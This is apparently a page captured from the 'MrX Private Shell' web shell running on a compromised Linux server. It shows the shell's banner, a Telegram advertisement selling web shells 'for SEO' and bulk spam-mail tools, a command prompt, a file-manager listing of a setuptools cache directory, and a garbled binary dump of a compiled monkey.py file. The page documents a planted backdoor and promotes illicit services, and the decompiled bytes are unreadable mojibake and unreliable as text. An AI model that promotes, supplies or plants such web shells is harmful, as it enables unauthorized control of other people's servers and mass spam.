__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
o

Xaia�@s�dZddlZddlZddlZddlZddlZddlmZddl	Z	ddl
Z
gZ	dd�Zdd�Z
dd	�Zd
d�Zdd
�Zdd�Zdd�Zdd�ZdS)z
Monkey patching of distutils.
�N)�
import_modulecCs"t��dkr|f|jSt�|�S)am
    Returns the bases classes for cls sorted by the MRO.

    Works around an issue on Jython where inspect.getmro will not return all
    base classes if multiple classes share the same name. Instead, this
    function will return a tuple containing the class itself, and the contents
    of cls.__bases__. See https://github.com/pypa/setuptools/issues/1024.
    �Jython)�platform�python_implementation�	__bases__�inspect�getmro)�cls�r
��/builddir/build/BUILDROOT/alt-python310-setuptools-58.3.0-4.el8.x86_64/opt/alt/python310/lib/python3.10/site-packages/setuptools/monkey.py�_get_mros	
rcCs.t|t�rtnt|tj�rtndd�}||�S)NcSsdS)Nr
)�itemr
r
r�<lambda>(szget_unpatched.<locals>.<lambda>)�
isinstance�type�get_unpatched_class�types�FunctionType�get_unpatched_function)r
�lookupr
r
r�
get_unpatched$s
�rcCs:dd�t|�D�}t|�}|j�d�sd|}t|��|S)z�Protect against re-patching the distutils if reloaded

    Also ensures that no other distutils extension monkeypatched the distutils
    first.
    css �|]}|j�d�s|VqdS)�
setuptoolsN)�
__module__�
startswith)�.0r	r
r
r�	<genexpr>3s�
�
�z&get_unpatched_class.<locals>.<genexpr>�	distutilsz(distutils has already been patched by %r)r�nextrr�AssertionError)r	Zexternal_bases�base�msgr
r
rr-s�rcCs�tjtj_tjdk}|rtjtj_tjdkp/dtjko dknp/dtjko-dkn}|r9d}|tjj	_
t�tjtjtj
fD]}tjj|_qDtjjtj_tjjtj_dtjvretjjtjd_t�dS)N)��r!)���
)r!�)r!r&�)r!r"zhttps://upload.pypi.org/legacy/zdistutils.command.build_ext)r�Commandr�core�sys�version_info�findall�filelist�config�
PyPIRCCommand�DEFAULT_REPOSITORY�_patch_distribution_metadata�dist�cmd�Distribution�	extension�	Extension�modules�#patch_for_msvc_specialized_compiler)Zhas_issue_12885Zneeds_warehouseZ	warehouse�moduler
r
r�	patch_all?s*



��


�
r:cCs*dD]}ttj|�}ttjj||�qdS)zDPatch write_pkg_file and read_pkg_file for higher metadata standards)�write_pkg_file�
read_pkg_fileZget_metadata_versionN)�getattrrr2�setattrr�DistributionMetadata)�attr�new_valr
r
rr1fs�r1cCs*t||�}t|��d|�t|||�dS)z�
    Patch func_name in target_mod with replacement

    Important - original must be resolved by name to avoid
    patching an already patched function.
    �	unpatchedN)r=�vars�
setdefaultr>)�replacementZ
target_mod�	func_name�originalr
r
r�
patch_funcms
rHcCs
t|d�S)NrB)r=)�	candidater
r
rr~s
rcs�td��t��dkrdS�fdd�}t�|d�}t�|d�}zt|d��t|d	��Wn	ty5Ynwzt|d
��Wn	tyGYnwz	t|d��WdSty[YdSw)z\
    Patch functions in distutils to use standalone Microsoft Visual C++
    compilers.
    zsetuptools.msvc�WindowsNcsLd|vrdnd}||�d�}t�|�}t|�}t||�s!t|��|||fS)zT
        Prepare the parameters for patch_func to patch indicated function.
        �msvc9Zmsvc9_Zmsvc14_�_)�lstripr=r�hasattr�ImportError)�mod_namerFZrepl_prefixZ	repl_name�repl�mod�Zmsvcr
r�patch_params�s


z9patch_for_msvc_specialized_compiler.<locals>.patch_paramszdistutils.msvc9compilerzdistutils._msvccompilerZfind_vcvarsallZquery_vcvarsallZ_get_vc_envZgen_lib_options)rr�system�	functools�partialrHrO)rTrKZmsvc14r
rSrr8�s,
���r8)�__doc__r*�distutils.filelistrrrrV�	importlibrrr�__all__rrrr:r1rHrr8r
r
r
r�<module>s&	'

Filemanager

Name Type Size Permission Actions
__init__.cpython-310.pyc File 8.6 KB 0644
_deprecation_warning.cpython-310.pyc File 605 B 0644
_imp.cpython-310.pyc File 2.08 KB 0644
archive_util.cpython-310.pyc File 5.76 KB 0644
build_meta.cpython-310.pyc File 8.95 KB 0644
config.cpython-310.pyc File 20.47 KB 0644
dep_util.cpython-310.pyc File 912 B 0644
depends.cpython-310.pyc File 5.2 KB 0644
dist.cpython-310.pyc File 35.44 KB 0644
errors.cpython-310.pyc File 905 B 0644
extension.cpython-310.pyc File 1.95 KB 0644
glob.cpython-310.pyc File 3.7 KB 0644
installer.cpython-310.pyc File 2.74 KB 0644
launch.cpython-310.pyc File 962 B 0644
monkey.cpython-310.pyc File 4.58 KB 0644
msvc.cpython-310.pyc File 41.69 KB 0644
namespaces.cpython-310.pyc File 3.59 KB 0644
package_index.cpython-310.pyc File 31.78 KB 0644
py34compat.cpython-310.pyc File 537 B 0644
sandbox.cpython-310.pyc File 15.44 KB 0644
unicode_utils.cpython-310.pyc File 1.14 KB 0644
version.cpython-310.pyc File 379 B 0644
wheel.cpython-310.pyc File 7.23 KB 0644
windows_support.cpython-310.pyc File 1.05 KB 0644